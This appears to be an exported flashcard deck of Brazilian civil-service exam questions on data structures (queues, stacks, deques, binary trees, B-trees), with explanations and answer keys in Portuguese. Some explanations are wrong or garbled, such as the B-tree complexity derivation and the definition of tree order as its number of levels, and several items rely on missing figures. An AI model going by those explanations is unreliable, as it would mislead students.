c) Árvores são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.
Árvores são estruturas hierárquicas, e não sequenciais, portanto, não podem seguir a regra FIFO. Falso.

d) Filas podem ser implementadas em listas encadeadas ou em vetores. De fato, filas podem ser implementadas usando listas encadeadas ou vetores. O importante é que siga a regra FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair. Verdadeiro.

e) Pilhas só podem ser implementadas em listas encadeadas. Não, é possível implementar pilhas com vetores também. Falso.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
118
Q
  1. (CESPE/CEBRASPE – 2021 – SEED-PR) Em determinada estrutura de dados, os valores seguem a regra segundo a qual o último a entrar é o primeiro a sair.

Essa estrutura é do tipo

a) pilha.
b) fila.
c) lista encadeada.
d) lista duplamente encadeada.
e) matriz.

A

A estrutura de dados que segue a regra “último a entrar, primeiro a sair” é chamada de pilha. Uma pilha é uma estrutura de dados que armazena elementos em uma ordem específica, seguindo o método LIFO (Last In First Out).

Isso significa que o último elemento a ser inserido na pilha será o primeiro a ser removido.

Imagine uma pilha de pratos: o último prato a ser colocado na pilha será o primeiro a ser retirado.

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
119
Q
  1. (CESPE/CEBRASPE – 2021 – SEED-PR) Na estrutura de dados denominada FILA,

a) o último elemento a ser inserido será o primeiro a ser retirado.

b) o primeiro elemento a ser inserido será o primeiro a ser retirado: adiciona-se item no fim e remove-se item do início.

c) os elementos de um mesmo tipo de dado estão organizados de maneira sequencial e ordenada.

d) os elementos não estão necessariamente armazenados sequencialmente na memória por ordem descrente de valores.

e) os elementos são formados de índices em duas dimensões: linhas e colunas.

A

Vamos analisar item a item:

a) o último elemento a ser inserido será o primeiro a ser retirado. Na fila, o padrão é o FIFO, ou seja, primeiro a ser inserido é o primeiro a ser retirado. Falso.

b) o primeiro elemento a ser inserido será o primeiro a ser retirado: adiciona-se item no fim e remove-se item do início.
Isso, devido ao padrão FIFO, é o correto. Verdadeiro.

c) os elementos de um mesmo tipo de dado estão organizados de maneira sequencial e ordenada. Os elementos podem até ser organiszados de maneira sequencial e ordenada, se assim for desejado, mas não é um
requisito de uma fila. Falso.

d) os elementos não estão necessariamente armazenados sequencialmente na memória por ordem descrente de valores.
De fato, os elementos não necessariamente estão armazenados sequencialmente na memória por ordem decrescente
de valores. Este item, para mim, deveria estar certo, mas a banca considerou como errado. Penso que, nestes casos, o melhor é considerar o “mais certo”, e, sem dúvidas, a letra B é a definição certíssima de fila!

e) os elementos são formados de índices em duas dimensões: linhas e colunas. Isso seria uma matriz, e não uma fila. Falso.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
120
Q
  1. (CESPE/CEBRASPE – 2017 – TRT-7) A lógica FIFO (first-in first-out) é utilizada na estrutura de dados do tipo

a) pointer ou ponteiros.
b) queue ou filas.
c) stack ou pilhas.
d) array ou matrizes.

A

O FIFO, que significa first-in first-out, ou “primeiro a entrar, primeiro a sair”, é usado na estrutura de dados de queue, ou filas. Nela, os elementos são colocados no fim da fila, e removidos no início. O primeiro elemento que é inserido é o primeiro a ser removido.

Quanto aos demais itens, vamos analisar:

  • Pointer ou ponteiros: variáveis que armazenam endereços de memória de outras variáveis.
  • Stack ou pilhas: estrutura de dados que segue a lógica LIFO, ou last-in first-out, que significa “o último a entrar é o primeiro a sair”.
  • Array ou matrizes: estruturas de dados que permitem armazenar e acessar vários valores de uma vez, sem seguir lógica FIFO ou LIFO.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
121
Q
  1. (CESPE/CEBRASPE – 2017 – TRF-1) Acerca de estrutura de dados, julgue o próximo item.

A fila é uma lista de elementos em que os itens são sempre inseridos em uma das extremidades e excluídos da outra.

A

Fila é uma estrutura de dados que segue a lógica FIFO (first-in first-out) armazena elementos de forma sequencial, permitindo a inserção de novos elementos no final da estrutura e a remoção de elementos do início.

Então, está certo.

Gabarito: Certo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
122
Q
  1. (CESPE/CEBRASPE – 2018 – TCE-MG)
    Uma estrutura de dados em que o primeiro elemento inserido seja o primeiro elemento a ser retirado é denominada

a) pilha.
b) matriz.
c) árvore binária.
d) fila.
e) lista.

A

A lógica em questão refere-se ao padrão FIFO, que é first-in first-out, ou seja, primeiro a entrar é o primeiro a sair.

Vamos analisar item a item:

a) pilha.
Uma pilha segue o padrão LIFO, que é last-in first-out, ou seja, último a entrar é o primeiro a sair. Falso.

b) matriz.
É uma estrutura de dados com um conjunto de elementos de um determinado tipo e que estão organizados em linhas e colunas. Não há uma regra especial quanto à inserção ou remoção dos elementos. Falso.

c) árvore binária.
Estrutura de dados do tipo árvore, mas com uma restrição: cada nó pode ter apenas dois filhos. Falso.

d) fila.
Isso mesmo, uma fila segue justamente o padrão FIFO. Verdadeiro.

e) lista.
Numa lista, é possível inserir ou remover de qualquer posição. Falso.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
123
Q
  1. (FCC – 2019 – TRF-4) O Round-Robin é um tipo de escalonamento preemptivo mais simples e consiste em repartir uniformemente o tempo da CPU entre todos os processos prontos para a execução. Os processos são organizados em uma estrutura de dados, alocando-se a cada um uma fatia de tempo da
    CPU, igual a um número de quanta. Caso um processo não termine dentro de sua fatia de tempo, retorna para o fim da estrutura e uma nova fatia de tempo é alocada para o processo que está no começo da estrutura e que dela sai para receber o tempo de CPU.
    A estrutura de dados utilizada nesse tipo de escalonamento é:

a) pilha.
b) árvore B.
c) fila circular.
d) fila simples.
e) árvore binária.

A

No Round-Robin, os processos são organizados em uma estrutura de dados. Fatias de tempo da CPU são locadas para cada um desses processos.

No caso de um processo não terminar dentro da sua fatia de tempo, ele retorna ao fim da estrutura, e uma nova fatia de tempo é alocada para ele. Essa nova fatia está no começo da estrutura.

Assim, a estrutura de dados precisa ser uma fila, já que permite que os processos sejam inseridos no final e removidos no início. Além disso, precisa ser circular, já que o processo sai do fim da fila e volta para o início.

Sobre as demais estruturas de dados:

  • pilha: não serve, pois a inserção e a remoção dos elementos é sempre no final.
  • árvore B: não é uma estrutura de dados linear.
  • fila simples: não serve, pois o final não é ligado ao início.
  • árvore binária: també, não é uma estrutura de dados linear.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
124
Q
  1. (FCC – 2013 – MPE-MA) Ana precisa utilizar uma estrutura de dados para gerenciar trabalhos de impressão em uma impressora compartilhada por vários computadores em uma rede. As regras dessa estrutura devem permitir que os trabalhos sejam impressos na ordem em que forem enviados, ou seja, o primeiro a enviar um pedido de impressão deve ser o primeiro a ter sua solicitação atendida. Não deve ser permitido inserir pedidos de impressão no meio dos pedidos já realizados.

A estrutura de dados mais adequada para Ana utilizar é

a) pilha.
b) lista encadeada ordenada.
c) árvore binária.
d) tabela hash.
e) fila.

A

A estrutura de dados utilizada deve seguir a regra FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair também. Sair significa ter a solicitação atendida.

Portanto, vamos analisar item a item:

a) pilha.
A pilha segue o padrão LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Não serve. Falso.

b) lista encadeada ordenada.
Uma lista encadeada não é o mais adequado, por não seguir padrões de inserção. Falso.

c) árvore binária.
Árvore binária também não tem um padrão de inserção e remoção desejado, e também serve para dados estruturados hierarquicamente, o que não é o caso. Falso.

d) tabela hash.
Tabelas hash servem para facilitar operações de inserção, remoção e busca. Não é o caso, não é necessário realizar busca. Falso.

e) fila.
A fila é justamente a descrição do necessário: segue a regra FIFO, portanto, o primeiro a entrar é o primeiro a sair. Certo!

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
125
Q
  1. (FCC – 2013 – TRE-SP) No que se refere a estruturas de dados é INCORRETO afirmar:

a) Numa fila dupla, os elementos podem ser inseridos e removidos de qualquer um dos extremos da fila.

b) Em qualquer situação é possível usar uma única fila dupla para representar duas filas simples.

c) A implementação de uma fila dupla normalmente é mais eficiente com uma lista duplamente encadeada que com uma encadeada simples.

d) Pela definição de fila, se os elementos são inseridos por um extremo da lista linear, eles só podem ser removidos pelo outro.

e) Numa lista singularmente encadeada, para acessar o último nodo é necessário partir do primeiro e ir seguindo os campos de ligação até chegar ao final da lista.

A

O enunciado pede a incorreta. Vamos analisar item a item:

a) Numa fila dupla, os elementos podem ser inseridos e removidos de qualquer um dos extremos da fila.
Isso mesmo. Como uma fila é dupla, ou seja, vai em ambas as direções, os elementos podem ser inseridos ou removidos de qualquer lado. Verdadeiro.

b) Em qualquer situação é possível usar uma única fila dupla para representar duas filas simples.
Uma única fila dupla não pode representar duas filas simples. Isso porque uma fila precisa seguir o padrão FIFO (first in first-out), ou seja, o primeiro a entrar é o primeiro a sair. Na prática, você tem um lado onde você insere elementos,
e o outro lado de onde você remove. Uma fila dupla não pode representar duas filas simples porque, nela, você insere ou remove de qualquer lado. Seria necessário poder inserir de um lado e remover de outro, exclusivamente, e em quatro pontos. Errado.

c) A implementação de uma fila dupla normalmente é mais eficiente com uma lista duplamente encadeada que com uma encadeada simples. Está correto. Se já usa uma lista duplamente encadeada, em que cada nó faz referência ao próximo e ao anterior, fica
mais fácil implementar uma fila dupla. Certo!

d) Pela definição de fila, se os elementos são inseridos por um extremo da lista linear, eles só podem ser removidos pelo outro.
É isso, como já disse anteriormente. Correto.

e) Numa lista singularmente encadeada, para acessar o último nodo é necessário partir do primeiro e ir seguindo os campos de ligação até chegar ao final da lista.
Isso. Numa lista singularmente encadeada, cada nó só possui referência ao próximo da lista, e você só sabe qual é o endereço do primeiro. Então, é preciso percorrer todos. Certo.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
126
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Análise de Sistemas)

Em um programa existe a necessidade de guardar todas as alterações feitas em determinado dado para que seja possível desfazer alterações feitas ao longo de toda a sua existência.

Nessa situação, a estrutura de dados mais adequada para o armazenamento de todas as alterações citadas seria uma fila.

A

Não! Pensem comigo: eu faço uma atividade, depois outra, depois mais uma e, por fim, mais outra.

Se eu desejo desfazer a última atividade realizada para retornar a um estado anterior, eu preciso de uma pilha.

Dessa forma, resgata-se o último estado válido e, não, o primeiro.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
127
Q
  1. (CESPE - 2012 – TST – Analista de Sistemas – A)

As pilhas e as filas são estruturas de dados essenciais para os sistemas computacionais. É correto afirmar que a fila é conhecida como lista LIFO - Last In First Out.

A

Não, Fila é FIFO!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
128
Q
  1. (CESPE - 2012 - TRE-RJ - Técnico Judiciário - Programação de Sistemas)

As filas são estruturas com base no princípio LIFO (last in, first out), no qual os dados que forem inseridos primeiro na fila serão os
últimos a serem removidos.

Existem duas funções que se aplicam a todas as filas: PUSH, que insere um dado no topo da fila, e POP, que remove o item no topo da fila.

A

Não, isso é uma Pilha (LIFO).

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
129
Q
  1. (FCC - 2012 - MPE-AP – Analista de Sistemas - A)

Nas estruturas de dados, devido às características das operações da fila, o primeiro elemento a ser inserido será o último a ser retirado. Estruturas desse tipo são conhecidas como LIFO.

A

Não, será o primeiro a ser retirado – são do tipo FIFO!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
130
Q
  1. (FCC - 2012 - MPE-AP – Analista de Sistemas - C)

Nas estruturas de dados, a fila é uma lista linear na qual as operações de inserção e retirada ocorrem apenas no início da lista.

A

Não, isso é a definição de Pilha!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
131
Q
  1. (FCC - 2012 - TRE-SP - Analista Judiciário - Análise de Sistemas – D)

Pela definição de fila, se os elementos são inseridos por um extremo da lista linear, eles só podem ser removidos pelo outro.

A

Exato! Essa é a definição de fila: insere-se por um extremo e remove-se por outro.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
132
Q
  1. (FCC - 2011 - TRT - 19ª Região (AL) - Analista Judiciário - Tecnologia da Informação)

FIFO refere-se a estruturas de dados do tipo:

a) fila.
b) árvore binária.
c) pilha.
d) matriz quadrada.
e) cubo.

A

Trata-se da Fila!

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
133
Q
  1. (ESAF - 2010 - CVM - Analista de Sistemas - prova 2)

Uma fila é um tipo de lista linear em que:

a) as inserções são realizadas em um extremo e as remoções no outro extremo.

b) as inserções e remoções são realizadas em um mesmo extremo.

c) podem ser realizadas apenas inserções.

d) a inserção de um elemento requer a remoção de outro elemento.

e) a ordem de saída não corresponde à ordem de entrada dos elementos.

A

As inserções são realizadas em um extremo e as remoções são realizadas no outro extremo, por isso é FIFO!

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
134
Q
  1. (CESPE - 2010 - DETRAN-ES - Analista de Sistemas)

No armazenamento de dados pelo método FIFO (first in - first out), a estrutura de dados é representada por uma fila, em cuja posição final ocorrem inserções e, na inicial, retiradas.

A

Perfeito! Basta lembrar de uma fila: o primeiro a entrar é o primeiro a sair.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
135
Q
  1. (CESPE - 2008 - TRT - 5ª Região (BA) - Técnico Judiciário - Tecnologia da Informação)

Entre alguns tipos de estrutura de dados, podem ser citados os vetores, as pilhas e as filas.

A

Perfeito, são todos exemplos de estruturas de dados!

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
136
Q
  1. (CESPE - 2004 – SES/PA – Analista de Sistemas)

Uma estrutura mais geral que as pilhas e filas é o deque, em que as inserções, retiradas e acessos são permitidos em ambas as extremidades.

A

Perfeito, deques permitem todas essas operações!

A estrutura de dados deque (abreviação de double-ended queue ou “fila de duas pontas”) é uma variação da fila que aceita inserção e remoção de elementos tanto do início quanto do final da fila.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
137
Q
  1. (CESPE - 2009 – TCE/AC – Analista de Sistemas – D)

Um deque (double ended queue) requer inserção e remoção no topo de uma lista e permite a implementação de filas com algum tipo de prioridade. A implementação de um deque, geralmente é realizada com a utilização de uma lista simplesmente encadeada.

A

Não, pode ser do início ou fim da lista! De fato, permite a implementação de filas com algum tipo de prioridade, mas geralmente é realizada com a utilização de filas duplamente encadeadas.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
138
Q
  1. (FCC - 2007 – TRT/23 – Analista de Sistemas) Uma estrutura de dados com vocação de FIFO de duplo fim e que admite a rápida inserção e remoção em ambos os extremos é:

a) uma pilha.
b) uma splay tree.
c) um deque.
d) uma lista linear.
e) uma árvore AVL.

A

Trata-se de um Deque – fila duplamente encadeada!

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
139
Q
  1. (CESPE - 2004 – PBV/RR - Analista de Sistemas) As filas com prioridade são listas lineares nas quais os elementos são pares da forma (qi, pi), em que q é o elemento do tipo base e p é uma prioridade. Elas possuem uma política de fila do tipo FIFO (first in first out) entre os elementos de mesma prioridade.
A

Perfeito! É assim que funciona a prioridade em conjunto com filas.

A fila de prioridade nada mais é que uma fila comum que permite que elementos sejam adicionados associados com uma prioridade. Cada elemento na fila deve possuir um dado adicional que representa sua prioridade de atendimento.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
140
Q
  1. (FCC - 2016 – TRT - 23ª REGIÃO (MT) - Técnico Judiciário - Tecnologia da Informação)

Estruturas de dados básicas, como as pilhas e filas, são usadas em uma gama variada de aplicações. As filas, por exemplo, suportam alguns métodos essenciais, como o:

a) enqueue(x), que insere o elemento x no fim da fila, sobrepondo o último elemento.

b) dequeue(), que remove e retorna o elemento do começo da fila; um erro ocorrerá se a fila estiver vazia.

c) push(x), que insere o elemento x no topo da fila, sem sobrepor nenhum elemento.

d) pop(), que remove o elemento do início da fila e o retorna, ou seja, devolve o último elemento inserido.

e) top(), que retorna o elemento do fim da fila sem removê-lo; um erro ocorrerá se a fila estiver vazia.

A

Queue = fila!
Stack = pilha!

Sendo assim, o que seria “enqueue”? Para quem tem idade (assim como eu!! ) deve se lembrar do famoso Winamp (ah, minha época de ouvir mp3!). Quanto clicávamos no botão direito de uma música, sempre tinha a opção “enqueue in Winamp”, ou seja, incluir na fila de reprodução. Enqueue, portanto, inclui na fila, enquanto dequeue remove!

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
141
Q
  1. (FCC - 2017 – TRE/BA - Analista de Sistemas) A estrutura que, além de ser similar à fila, é apropriada para ampliar as características desta, permitindo inserir e retirar elementos tanto do início quanto do fim da fila, é o(a):

a) árvore.
b) lista duplamente encadeada.
c) deque.
d) fila circular.
e) pilha

A

Trata-se de um Deque (Double Ended Queue).

Deque é uma estrutura de dados similar à fila e que permite
que elementos possam ser adicionados ou removidos da frente (cabeça) ou de trás (cauda).

Qual a diferença entre uma lista duplamente encadeada e um deque?

Um deque gerencia elementos como um vetor, fornece
acesso aleatório e tem quase a mesma interface que um vetor.

Uma lista duplamente encadeada se difere de um deque por não fornecer acesso aleatório aos elementos, i.e., para acessar o quinto elemento, você deve necessariamente navegar pelos quatro primeiros elementos – logo a lista é mais lenta nesse sentido.

Existem outras diferenças, mas essa é a diferença fundamental entre
essas duas estruturas. Bacana?

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
142
Q

Observe as árvores (I) e (II) representadas abaixo.

Considerando que o conjunto de elementos de ambas as árvores é finito e que cada elemento pode ter no máximo duas subárvores, as árvores são:

A disjuntas e a varredura de ambas as árvores equivale à de Árvores B;

B equivalentes e a operação de varredura da árvore (I) em pós-ordem resulta na mesma ordenação da varredura da árvore (II) em in-ordem;

C distintas e a operação de varredura da árvore (I) em in-ordem equivale à varredura da árvore (II) em pré-ordem;

D desordenadas e a operação de varredura da árvore (II) em pré-ordem gera um conjunto em notação pós-fixa de (II) invertido;

E ordenadas e a operação de varredura da árvore (I) em in-ordem resulta em uma ordenação por seleção direta.

A

Operação de varredura in-ordem da arvore I: B - A - C.

Operação de varredura pre-ordem da arvore II: B - A - C.

Resposta correta letra (C)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
143
Q

Árvores binárias em estruturas de dados é utilizada para armazenar e organizar dados de maneira eficiente.

Para a árvore binária da figura, qual a ordem correta de visitação dos nós em um percurso em em-ordem?

A 40, 90, 26, 13, 75, 43, 80, 1, 17, 5, 55, 34.

B 34, 80, 40, 43, 13, 26, 90, 75, 55, 5, 1, 17.

C 40, 80, 26, 90, 13, 43, 75, 34, 55, 1, 5, 17.

D 90, 26, 13, 75, 43, 40, 80, 17, 5, 1, 55, 34.

A

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
144
Q

A Figura a seguir exibe uma árvore binária.

Suponha que uma função percorra essa árvore em ordem simétrica e exiba os valores de seus nós no console.
Qual será o sexto valor a ser exibido por essa função?

A 20
B 30
C 60
D 70
E 80

A

Ordem simétrica: ponto embaixo, nesse caso, da direita pra esquerda.

Ordem simétrica pode ser nos dois sentidos.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
145
Q

Observe a figura a seguir.

Para a árvore binária apresentada, qual a ordem correta de visitação dos nós em um percurso em pós-ordem(pós-fixo)?

A 40, 80, 26, 90, 13, 43, 75, 34, 55, 1, 5, 17.

B 40, 90, 26, 13, 75, 43, 80, 1, 17, 5, 55, 34.

C 34, 80, 40, 43, 13, 26, 90, 75, 55, 5, 1, 17.

D 90, 26, 13, 75, 43, 40, 80, 17, 5, 1, 55, 34.

A

Pós-fixo: Ponto à direita, contagem a partir da esquerda.

Gabarito: B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
146
Q
  1. (FGV – 2022 – SEMSA Manaus) Numa estrutura de dados do tipo Árvore B, onde cada nó não raiz pode conter entre d e 2.d chaves, a complexidade do algoritmo de busca é da ordem

a) log de N na base 2.
b) log de N na base d.
c) N vezes log de N na base 2.
d) N.
e) N2.

A

O limite superior da profundidade da árvore é d ≤ 1 + logm/2, sendo que:

● m = a ordem da árvore, ou seja, o número máximo de chaves numa página não folha. Neste caso, m = 2d.

●N = a quantidade de registros.

Portanto:
d ≤ 1 + logm/2
d ≤ 1 +
log2d/2 d ≤ 1
+ logd

Isso é da ordem de log de N na base d, ou O(logdN).

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
147
Q
  1. (UFPRE – 2022 – UFPRE) Acerca de estruturas de dados, assinale a alternativa correta.

a) A estrutura denominada Pilha é considerada do tipo FIFO (first in, first out); o primeiro elemento inserido
será o primeiro elemento a ser removido.

b) A estrutura denominada Fila é considerada do tipo FILO (first in, last out); o primeiro elemento a ser inserido
será o último elemento a ser removido.

c) A estrutura denominada lista simplesmente encadeada não ordenada armazena um ou vários dados em cada
elemento, e tem um ponteiro apontado para o último elemento que permite o encadeamento e a estrutura linear.

d) A estrutura denominada árvore é um conjunto finito de elementos, onde cada elemento é denominado nó, e o primeiro nó é conhecido como raiz da árvore.

e) A estrutura denominada árvore AVL é uma árvore binária não balanceada, em que cada nó representa uma diferença de altura entre as subárvores direita e esquerda de 1, 2 ou 3 nós.

A

Vamos analisar item a item:

a) A estrutura denominada Pilha é considerada do tipo FIFO (first in, first out); o primeiro elemento inserido
será o primeiro elemento a ser removido.
Na verdade, uma pilha é LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Falso.

b) A estrutura denominada Fila é considerada do tipo FILO (first in, last out); o primeiro elemento a ser inserido
será o último elemento a ser removido.
Na verdade, a fila é FIFO (first-in first-out), ou seja, o primeiro a entrar é o primeiro a sair. Falso.

c) A estrutura denominada lista simplesmente encadeada não ordenada armazena um ou vários dados em cada
elemento, e tem um ponteiro apontado para o último elemento que permite o encadeamento e a estrutura linear.
O ponteiro está apontado para o primeiro elemento, e não para o último. Falso.

d) A estrutura denominada árvore é um conjunto finito de elementos, onde cada elemento é denominado nó, e o primeiro nó é conhecido como raiz da árvore.
Alternativa sem erro sobre árvore. Verdadeiro.

e) A estrutura denominada árvore AVL é uma árvore binária não balanceada, em que cada nó representa uma
diferença de altura entre as subárvores direita e esquerda de 1, 2 ou 3 nós.

A árvore AVL é uma árvore binária balanceada, e a diferença entre as subárvores da direita e da esquerda é de no máximo 1 nó. Falso.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
148
Q

De acordo com a figura anterior, o procedimento

CONSULTA (x)
1 while esquerda [x] ≠ NIL
2 do x 🡨 esquerda [x]
3 return x
realiza, na árvore, a consulta de
a) search.
b) minimum.
c) maximum.
d) successor.
e) predecessor.

A

Trata-se de uma árvore binária. Nessa estrutura, os nós filhos da esquerda sempre possuem um valor menor do que os da direita. Os menores valores da árvore estarão à esquerda.

Dito isso, o algoritmo percorre os nós da esquerda sempre. Ou seja, vai chegar no número 2.

Significa que está procurando o menor valor da árvore. Ou seja, resposta é minimum.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
149
Q
  1. (CESPE/CEBRASPE – 2022 – Petrobrás) Uma árvore de decisão representa um determinado número de caminhos possíveis de decisão e os resultados de cada um deles, apresentando muitos pontos positivos, ou seja, são fáceis de entender e interpretar.

Elas têm processo de previsão completamente transparente e lidam facilmente com diversos atributos numéricos, assim como atributos categóricos, podendo até mesmo classificar dados sem atributos definidos.

De acordo com os aspectos construtivos de uma árvore de decisão, julgue o item a seguir.

A entropia de uma árvore de decisão aborda o aspecto da quantidade de informações que está associada às respostas que podem ser obtidas às perguntas formuladas, representando o grau de incerteza associado aos dados.

A

A entropia é uma medida de mistura ou impureza de um conjunto de dados. No caso de uma construção de uma árvore de decisão, mede o grau de incerteza dos dados em cada nó da árvore.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
150
Q
  1. (CESPE/CEBRASPE – 2022 – Petrobrás) Uma árvore de decisão representa um determinado número de caminhos possíveis de decisão e os resultados de cada um deles, apresentando muitos pontos positivos, ou seja, são fáceis de entender e interpretar.

Elas têm processo de previsão completamente transparente e lidam facilmente com diversos atributos numéricos, assim como atributos categóricos, podendo até mesmo classificar dados sem atributos definidos.

De acordo com os aspectos construtivos de uma árvore de decisão, julgue o item a seguir.

Se o processo adotado para a construção de árvores de decisão for determinístico, uma forma de obtenção de árvores aleatórias, que compõem as florestas aleatórias, pode ser realizada por meio do bootstrap dos dados, em
que cada árvore é treinada com base no resultado de bootstrap_sample (inputs).

A

As florestas aleatórias correspondem a uma técnica de aprendizado de máquina em que se um conjunto de árvores de decisão com base em um conjunto de dados.

É por meio do processo bootstrap que essas árvores são treinadas usando amostras aleatórias dos dados, com
reposição.

Dessa forma, cada árvore da floresta é treinada em um conjunto de dados diferente, incrementando a variabilidade das árvores e a robustez da floresta aleatória.

Feito o treinamento, as árvores são então utilizadas para previsões ou classificações.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
151
Q
  1. (FGV – 2022 – MPE-GO) Árvores B são muito usadas na implementação de índices em bancos de dados.

Uma árvore desse tipo é dita balanceada quando

a) a complexidade do algoritmo de busca é logarítmica.

b) as chaves são armazenadas em ordem de classificação, crescente ou decrescente.

c) é possível localizar registros referenciados por um intervalo de chaves.

d) o número de ponteiros em cada nó intermediário é constante.

e) toda página folha tem o mesmo número de páginas intermediárias até a raiz.

A

Uma árvore B é uma estrutura de dados que mantém dados ordenados e permite operações eficientes de busca, inserção e deleção. Cada nó pode ter múltiplos filhos e armazena várias chaves, mantendo todas as folhas no mesmo nível para garantir equilíbrio. É amplamente usada em bancos de dados e sistemas de arquivos devido à sua eficiência em operações de I/O.

Vamos analisar item a item:

a) a complexidade do algoritmo de busca é logarítmica.
A complexidade de busca da Árvore B é logarítmica, mas não é uma condição para que ela seja balanceada. Falso.

b) as chaves são armazenadas em ordem de classificação, crescente ou decrescente. Também não é o motivo pela qual ela seria balanceada. Falso.

c) é possível localizar registros referenciados por um intervalo de
chaves. Até é possível, mas não é o que torna ela balanceada. Falso.

d) o número de ponteiros em cada nó intermediário é constante. Não é o que a torna balaceada. Falso.

e) toda página folha tem o mesmo número de páginas intermediárias até a raiz.
Isso. Se cada página folha tiver o mesmo número de páginas intermediárias até a raiz, teremos uma árvore com altura fixa, e, portanto, balaceada. Verdadeiro.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
152
Q
  1. (FGV – 2018 – Banestes) Sobre as características de índices estruturados na forma de Btrees e Hash tables, analise as afirmativas a seguir.

I. Hash tables aplicam-se somente em buscas que referenciam a chave por inteiro (operador =).

II. B-trees favorecem consultas que buscam chaves num determinado intervalo (operadores >= e <=).

III. B-trees são usualmente mais lentas para buscas pela chave (operador =).

IV. Hash tables favorecem buscas, com o operador ‘LIKE’ do SQL, que não contenham caracteres curingas na primeira posição.

V. B-trees não se aplicam em buscas que se referem a uma substring à esquerda da chave.

Está correto o que se afirma em:
a) nenhuma;
b) somente I, II e III;
c) somente I, IV e V;
d) somente II, III, IV;
e) I, II, III, IV e V.

A

Vamos analisar item a item:

I. Hash tables aplicam-se somente em buscas que referenciam a chave por inteiro (operador =).
De fato, as hash tables precisam referenciar a chave inteiramente para que se possa encontrar os valores. Certo.

II. B-trees favorecem consultas que buscam chaves num determinado intervalo (operadores >= e <=).
Como, na árvore B, os valores menores estão nos filhos da esquerda, enquanto os valores maiores estão nos filhos da direita, então, torna-se mais fácil a busca por intervalo. Certo.

III. B-trees são usualmente mais lentas para buscas pela chave (operador =).
São mais lentas do que hash tables, porque, no caso das hash tables, se eu sei a chave exatamente, então o acesso é direto, ou próximo do direto. Já em B-trees, seria O(log n). Certo.

IV. Hash tables favorecem buscas, com o operador ‘LIKE’ do SQL, que não contenham caracteres curingas na primeira posição.
Em hash tables, o operador like não é favorecido. O operador like busca pelo valor parcial da chave, mas, nas hash tables, a busca é facilitada apenas quando temos o valor inteiro da chave. Errado.

V. B-trees não se aplicam em buscas que se referem a uma substring à esquerda da chave.
Pelo contrário, quando temos subtrings, as B-trees podem ser aplicadas e são mais eficientes do que hash tables.
Errado.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
153
Q
  1. (FCC – 2017 – TRE-SP) Considere, hipoteticamente, que um Técnico do TRE-SP tem, em seu computador, a seguinte organização de um diretório

Principal: Dados
Dentro de Dados: Técnicos Práticos
Dentro de Técnicos: Árvores Hash Recursão Filas Pilhas
Dentro de Práticos: Programas AFazer Prontos
Dentro de Prontos: Eleições Urnas
Dentro de Programas: Corretos
ComErro
Dentro de ComErro: Urgentes Pendentes Antigos

A estrutura de dados
a) fila é a mais adequada para representar este diretório.
b) pilha é a mais adequada para representar este diretório.
c) árvore binária, ao armazenar este diretório, terá Dados na raiz e nós com grau 2, 3, 5 e folhas.
d) árvore, que consegue armazenar este diretório, é de ordem 5.
e) hashing, ao armazenar este diretório, não terá colisões na tabela de dispersão

A

Pela descrição, a estrutura de dados seria a seguinte:

Isso é uma estrutura de árvore.

Portanto, excluímos as alternativas a), b) e e). Sobram as alternativas c) e d).

A alternativa c) fala de árvore binária. Não se trata de uma árvore binária, pois, em uma árvore binária, cada nó possui apenas dois filhos, o que não é o caso dessa estrutura.

Resta a alternativa d). De fato, é uma árvore, e, de fato, a sua ordem é 5. A ordem de uma árvore corresponde à quantidade máxima de níveis que ela possui. Note que ela possui 5 níveis.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
154
Q
